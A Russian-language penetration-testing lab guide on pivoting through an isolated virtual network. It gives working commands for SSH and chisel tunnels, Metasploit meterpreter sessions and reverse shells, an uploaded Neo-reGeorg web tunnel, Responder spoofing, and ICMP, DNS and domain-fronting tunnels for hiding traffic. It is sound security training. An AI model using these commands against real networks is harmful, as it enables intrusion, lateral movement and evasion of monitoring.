Лабораторная работа по pivoting

Конфигурация сети и учетные данные

Введение

Виртуальные машины linux-ext и win-ext имеют по 2 сетевых интерфейса, первый ожидает настройки по DHCP, второй имеет статический ip-адрес в изолированной сети.
Для прохождения практики понадобится Linux-машина, имеющая прямой сетевой доступ к linux-ext и win-ext, в дальнейшем предполагается что это VM с Kali, но можно использовать и любой другой дистрибутив. В некоторых задачах понадобится Metasploit Framework актуальной версии.

Перед импортом машин в VirtualBox нужно создать сеть NAT в меню File->Preferences->Network->Add NAT network, если такие сети ранее не создавались.

Учетные данные для linux-ext и linux-int

- Логин: ubuntu, у пользователя есть права sudo
- Пароль: 123456

Учетные данные для win-ext

- Логин: vagrant
- Пароль: vagrant

Задача 1: проверка конфигурации linux-ext и linux-int

1. Зайти в VM **linux-ext** через tty
2. Проверить адреса сетевых интерфейсов с помощью команды
   `$ ip addr`
3. Интерфейс eth0 должен получать адрес динамически и быть доступен из kali
4. Интерфейс eth1 должен иметь статический адрес 10.0.0.2
5. Проверить ping до машины **linux-int** с помощью команды
   `$ ping -c1 10.0.0.1`
6. При необходимости поменять настройки сетевых интерфейсов на машинах через редактирование файла /etc/netplan/00-installer-config.yaml согласно схеме выше и применить их командой
   `$ sudo netplan apply`
7. Проверить доступ к системе по SSH из Kali

Задача 2: проверка конфигурации win-ext

1. Зайти в графический интерфейс VM
2. Проверить адреса интерфейсов и доступ к **linux-int** аналогично предыдущей задаче
3. При необходимости перенастроить адреса интерфейсов средствами Windows
4. Проверить доступ к системе по RDP из Kali

Типичные проблемы и их решения:

- **Проблема:** при импорте образа VM возникает ошибка, связанная с форматом файла
  Решение: распаковать OVA-образ как tar-архив и создать новую VM с диском из tar-файла
- **Проблема:** имена интерфейсов отличаются и ip-адреса не настроены, машины не видят друг друга
  Решение: переконфигурировать интерфейсы вручную по схеме сети, проверить настройки сетей в меню средства виртуализации
- **Проблема**: сетевые интерфейсы не работают в VMware
  Решение: смените тип устройства с e1000 на e1000e в конфигурационном файле VM (расширение - vmx), строка ethernetX.virtualDev

Раздел 1: SSH-pivoting

Для удобной работы с хостами в сети запишем следующую конфигурацию для ssh-клиента в ~/.ssh/config:

```
Host linux-ext
    Hostname <linux-ext_ip>
    Port 22
    User ubuntu
Host linux-int
    Hostname 10.0.0.1
    Port 22
    User ubuntu
    ProxyJump linux-ext
```

Тема 1: Pivoting через ssh-сервер

Задача 1: Локальный проброс портов

Выполним проброс порта 8080 с машины linux-ext на порт 8888 локальной машины с Kali.

```
$ ssh -L 8888:localhost:8080 linux-ext
```

Проверим доступность сервиса с помощью curl:

```
$ curl -v localhost:8888
```

Выполним более сложный проброс порта:

```
$ ssh -L 0.0.0.0:8888:10.0.0.2:80 linux-ext
```

Так мы получаем доступ к веб-серверу во внутренней сети и открываем его не только для нашей машины, но и для тех, кто может к ней подключиться.

Задача 2: Удаленный проброс портов

Установим значение yes для настройки GatewayPorts на хосте linux-ext:

```
linux-ext $ vim /etc/ssh/sshd_config
linux-ext $ sudo systemctl restart ssh
```

Пробросим открытый порт со своей машины:

```
$ ssh -R 31337:0.0.0.0:31337 linux-ext
```

Используем nc для приема соединения:

```
$ nc -lp 31337
```

Через несколько секунд должен прийти запрос от внутренней машины, подтверждающий правильность настройки

Задача 3: Динамическое проксирование трафика
Используем промежуточный хост в качестве socks5-proxy:
$ ssh -D4444 linux-ext

Проверим работу прокси:
$ curl -x socks5h://localhost:4444 10.0.0.2

Задача 4: Использование промежуточных хостов
Подключимся к внутреннему хосту через промежуточный, используя механизм ProxyJump:
$ ssh -v linux-int

Тема 2: Pivoting через удаленный ssh-клиент

Задача 1: Настройка аккаунта для проксирования
Создадим пользователя:
$ sudo adduser pivoting --disabled-password --shell /usr/sbin/nologin

Сгенерируем ключ:
$ ssh-keygen -f pivoting -t ed25519 -q -N ""

Пропишем его в /home/pivoting/.ssh/authorized_keys с дополнительными опциями:
$ mkdir /home/pivoting/.ssh/
$ echo "no-agent-forwarding,no-X11-forwarding,no-pty <pubkey>" >
/home/pivoting/.ssh/authorized_keys
$ chown -R pivoting: /home/pivoting/.ssh/

Теперь от имени этого пользователя можно подключаться к контролируемому серверу без возможности выполнять команды.

Задача 2: Проброс портов и проксирование трафика
Доставим ключ на промежуточную машину:
$ scp pivoting linux-ext:

На промежуточной машине настроим ssh-подключение с пробросом портов и динамическим форвардингом:
linux-ext $ ssh -fN -R 1080 -R 8888:127.0.0.1:8080 -L 0.0.0.0:31337:127.0.0.1:31337
-oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -oIdentitiesOnly=yes -i pivoting
pivoting@<server_ip>

В этом случае на стороне SSH-сервера будет открыт порт 1080, через него можно будет проксировать соединения через клиента.
$ curl -x socks5h://localhost:1080 10.0.0.2

Команды для проброса портов инвертируются, например, с помощью локального проброса порта 31337 можно будет принять на машине с SSH-сервером соединение, идущее к linux-ext:
`$ nc -lp 31337`

Удаленный проброс позволяет подключаться к порту linux-ext на loopback-интерфейсе:
`$ curl localhost:8888`

Раздел 2: Классические методы pivoting

Тема 1: Использование chisel

Наиболее распространенный сценарий использования утилит для pivoting - прием обратного соединения с контролируемой машины.

Задача 1: Настройка сервера
Скачиваем последний релиз из репозитория и запускаем сервер:

```
$ ./chisel server -p 9312 --reverse --socks5
```

Задача 2: Подключение клиента

Доставляем этот же бинарник на машину linux-ext:

```
$ scp chisel linux-ext:
```

На стороне клиента прописываем настройки для проброса портов и поднятия прокси:

```
linux-ext $ nohup ./chisel client 10.0.2.2:9312 R:9150:socks R:8888:127.0.0.1:8080
31337:0.0.0.0:31337 &> /dev/null &
```

Проверяем правильность настройки аналогично сценарию с SSH:

```
$ curl -x socks5h://localhost:9150 10.0.0.2
$ curl localhost:8888
$ nc -lp 31337
```

Тема 2: Pivoting с использованием Metasploit Framework

Задача 1: Настройка маршрутизации через сессии meterpreter
Запустим meterpreter на машине **linux-ext**:

```
msf> use exploit/multi/ssh/sshexec
msf> set target Linux\ x64
msf> set payload linux/x64/meterpreter/reverse_tcp
msf> set RHOSTS <linux-ext_ip>
msf> set USERNAME ubuntu
```

```
msf> set PASSWORD 123456
```

Используем сессию meterpreter для маршрутизации трафика от модулей (Y - номер сессии):
```
msf> route add 10.0.0.0/24 Y
```

Проверим доступ к **linux-int** через сессию:
```
msf> use auxiliary/scanner/http/http_version
msf> set RHOSTS 10.0.0.1
msf> set HTTPTRACE yes
msf> exploit
```

Задача 3: проксирование доступа для других приложений
Для проксирования трафика других приложений поднимем socks-сервер:
```
msf> use auxiliary/server/socks_proxy
msf> curl -x socks5h://localhost:1080 10.0.0.1
```

Задача 4: проброс портов и эксплуатация уязвимости на изолированном хосте
Проэксплуатируем уязвимость на хосте **linux-int** и примем соединение от reverse shell на **linux-ext**.
Подготовим эксплойт:
```
msf> use exploit/multi/http/simple_backdoors_exec
msf> set RHOSTS 10.0.0.1
```

Выполним проброс портов в сессии meterpreter:
```
meterpreter > portfwd add -R -L 127.0.0.1 -p 4444 -l 4444
```

Настроим payload:
```
msf> set payload cmd/unix/reverse
```

Укажем адрес хоста linux-ext для обратного соединения:
```
msf> set LHOST 10.0.0.2
msf> exploit
```
Получаем обратное соединение и проверяем его, выполнив любую команду.

Тема 3: Применение proxychains

Задача 1: Настройка proxychains
Установим актуальную версию proxychains:
```
$ apt install proxychains4
```

Настроим proxychains на использование socks5 proxy:
```
$ sudo vim /etc/proxychains.conf
[ProxyList]
socks5 127.0.0.1 9050
```

Проверка работы proxychains:
$ proxychains curl 10.0.0.2

Тема 4: Использование ligolo-ng

Задача 1: Настройка сервера и интерфейса
Создадим и включим tun-интерфейс для маршрутизации трафика:
$ sudo ip tuntap add user kali mode tun ligolo
$ sudo ip link set ligolo up

Скачиваем и запускаем серверную часть:
$ sudo ./proxy -selfcert

Задача 2: Настройка клиента
Запуск клиента:
linux-ext $ ./agent -ignore-cert -connect <server_ip>:11601

Настройка маршрута до целевой сети:
$ sudo ip route add 10.0.0.0/24 dev ligolo

Запуск туннелирования:
ligolo-ng > session
ligolo-ng > start

Проверка работы туннеля:
$ curl 10.0.0.2

Проброс портов на удаленную машину:
ligolo-ng> listener_add --addr 0.0.0.0:31337 --to 127.0.0.1:31337 --tcp
$ nc -lvp 31337

Тема 5: Гибридные подходы проксирования

Настроим прокси с помощью SSH:
$ ssh -D 5555 ubuntu@linux-ext

Задача 1: Работа с tun2socks
Подготовим tun-интерфейс
$ sudo ip tuntap add mode tun dev tun1337
$ sudo ip addr add 198.18.0.1/15 dev tun1337
$ sudo ip link set dev tun1337 up
$ sudo ip route add 10.0.0.0/24 via 198.18.0.1 dev tun1337

Устанавливаем tun2socks из актуального релиза и подключаем его к socks5-proxy:
$ sudo ./tun2socks -device tun1337 -proxy socks5://127.0.0.1:5555 -interface eth0

Проверяем работу интерфейса:
$ curl -v 10.0.0.1

Завершим процесс tun2socks и удалим интерфейс:
$ sudo ip link set down dev tun1337
$ sudo ip tuntap del mode tun dev tun1337

Задача 2: Graftcp
Скачиваем и устанавливаем deb-пакет:
$ wget https://github.com/hmgle/graftcp/releases/download/v0.4.0/graftcp_0.4.0-1_amd64.deb
$ sudo dpkg -i graftcp_0.4.0-1_amd64.deb

Записываем актуальный адрес прокси в /etc/graftcp-local/graftcp-local.conf и запускаем сервер:
$ graftcp-local

Проверяем доступ к внутреннему хосту:
$ curl -v 10.0.0.1

Убедимся, что проксирование работает для статически слинкованных файлов: скачаем gobuster и применим его к внутреннему серверу.
$ graftcp gobuster dir -w /usr/share/wordlists/dirb/small.txt -u http://10.0.0.1 --wildcard -l

Раздел 3: Экзотические сценарии pivoting

Тема 1: Туннелирование через Web-приложения

Скачаем проект Neo-reGeorg и сгенерируем нагрузки:
$ git clone https://github.com/L-codes/Neo-reGeorg
$ python3 neoreg.py generate -k password

Зальем нагрузку на web-сервер через веб-интерфейс **linux-ext**:
$ python3 neoreg.py -k password -u http://<linux-ext_ip>/uploads/tunnel.php

Проверим работу туннеля:
$ curl -x socks5://localhost:1080 10.0.0.1

Тема 2: Туннелирование через IoT-устройства

Предположим, что целью является устройство с MIPS с ограниченным объемом памяти.
Подготовим среду для кросс-компиляции:
$ wget https://musl.cc/mips-linux-musl-cross.tgz
$ tar xfv mips-linux-musl-cross.tgz
$ git clone https://github.com/emilarner/revsocks

Скомпилируем проект под цель и сервер:
$ ./mips-linux-musl-cross/bin/mips-linux-musl-gcc -O2 -lpthread -static -s revsocks/*.c -o revsocks_mips.bin
$ gcc -O2 -lpthread -o revsocks_x64.bin revsocks/*.c

Запустим серверную часть:
$ ./revsocks_x64.bin -rs 4444 1080

Проэмулируем клиентскую часть на **linux-ext** с помощью qemu-user:
linux-ext $ ./revsocks_mips.bin -r 10.0.2.10 4444

Проверим доступ:
$ curl -x socks5://localhost:1080 10.0.0.1

Тема 3: L2-атаки через туннели

Настраиваем туннель:
$ sudo ssh -i ~/.ssh/id_rsa -o Tunnel=ethernet -w 1:1 root@linux-ext

На локальной машине включаем интерфейс и выбираем свободный адрес в изолированной сети:
$ sudo ip link set tap1 up
$ sudo ip addr add 10.0.0.4/24 dev tap1

На удаленной машине делаем сетевой мост и назначаем ему адрес от интерфейса eth1:
linux-ext $ sudo brctl addbr bridgeforattack
linux-ext $ sudo brctl addif bridgeforattack tap1
linux-ext $ sudo brctl addif bridgeforattack eth1
linux-ext $ sudo ip addr del 10.0.0.2/24 dev eth1
linux-ext $ sudo ip addr add 10.0.0.2/24 dev bridgeforattack
linux-ext $ sudo ip link set dev tap1 up
linux-ext $ sudo ip link set dev bridgeforattack up
NB: Для случая с 1 интерфейсом после смены IP обязательно нужно прописать дефолтный роут, например:
linux-ext $ sudo ip route add default via 10.0.2.1
4) Проверяем L2-доступ к сети с локальной машины:
$ ping -c1 10.0.0.1
5) Проводим атаку: выполняем спуфинг респондером с отключенным SMB, а соединение принимаем на smbserver из impacket
$ sudo responder -I tap1
$ smbserver.py -smb2support share .

Раздел 4: Маскировка и обфускация трафика

Тема 1: Обфускация трафика с помощью GOST

Используем утилиту GOST для создания ICMP-туннеля.
Запустим сервер на стороне **linux-ext**:
linux-ext $ sudo gost -L icmp://:0

Запустим клиент на стороне **kali**, где 12345 - id клиента:
$ sudo ./gost -L socks5://:1080 -F "icmp://10.0.2.7:12345?keepAlive=true&ttl=10s"

Проверим доступ:
$ curl -x socks5://localhost:1080 10.0.0.1

Тема 2: Domain Fronting

Предположим, что allowed.domain-fronting.ru - легитимный и часто используемый домен за CDN, а disallowed.domain-fronting.ru - pivoting-сервер атакующих.
На сервере запущен chisel в следующей конфигурации:
$ ./chisel server -p 80 --auth cybered:cybered --keepalive 1s

Используем технику domain fronting для сокрытия соединения с сервером:
$ ./chisel client --auth cybered:cybered --sni allowed.domain-fronting.ru https://disallowed.domain-fronting.ru:443 3000

Для проверки работы туннеля подключимся к проброшенному на localhost внутреннему ресурсу:
$ curl localhost:3000

Тема 3: DNS tunneling

Задача 1: Настройка туннеля
Для корректной работы туннеля нужно установить iodine на стороне клиента и сервера и настроить NS и IN-записи для домена.
Серверная часть запускается командой:
$ iodined -f -c -P cybered 192.168.99.1 t1.dns-tunnel.ru

Клиентская:
$ sudo iodine -f -P cybered t1.dns-tunnel.ru -r

Задача 2: Проверка связи
Убедимся что хост доступен через туннель:
$ curl 192.168.99.1:80

Тема 4: SMB named pipes

Задача 1: Создание сессии на Windows-машине
Используем psexec для запуска meterpreter на win-ext:
```
msf> use exploit/windows/smb/psexec
msf> set SMBUser vagrant
msf> set SMBPass vagrant
msf> set payload windows/x64/meterpreter/reverse_tcp
msf> set LHOST eth0
msf> set RHOSTS <win-ext_ip>
msf> exploit
```

Начнем прослушивать smb-пайп msfpivot:
```
meterpreter> pivot add -t pipe -l 0.0.0.0 -n msfpivot -a x64 -p windows
```

Задача 2: Прием подключения от payload через named pipe
Создадим ещё одну сессию, подключающуюся к этому пайпу:
```
msf> set payload windows/x64/meterpreter/reverse_named_pipe
msf> set pipehost 10.0.0.3
msf> set pipename msfpivot
msf> exploit
```

Тема 5: RDP channels

Задача 1: компиляция rdp2tcp
Скачиваем код проекта с Github:
```
$ git clone https://github.com/V-E-O/rdp2tcp
```

Собираем клиент для Linux
```
$ make client
```

Собираем сервер для windows с помощью кросс-компиляции:
```
$ apt install mingw-w64
```

Изменяем компилятор на актуальный в rdp2tcp/server/Makefile.mingw32:
```
CC=i586-mingw32msvc-gcc
```
заменяем на
```
CC=i686-w64-mingw32-gcc
```

Собираем сервер:
```
$ make server-mingw32
```

Задача 2: Настройка rdp2tcp
Подключаемся к **win-ext** по RDP, указав в параметре rdp2tcp путь до скомпилированного клиента:

```
$ xfreerdp /cert:ignore /u:vagrant /p:'vagrant' /drive:/home/kali/share
/rdp2tcp:/home/kali/rdp2tcp/client/rdp2tcp /v:10.0.2.6
```

Запускаем сервер rdp2tcp.exe на удаленной машине и открываем socks5-прокси на kali:

```
$ rdp2tcp.py add socks5 127.0.0.1 1080
```

Проверяем работу туннеля:

```
$ curl -x socks5h://localhost:1080 10.0.0.1
```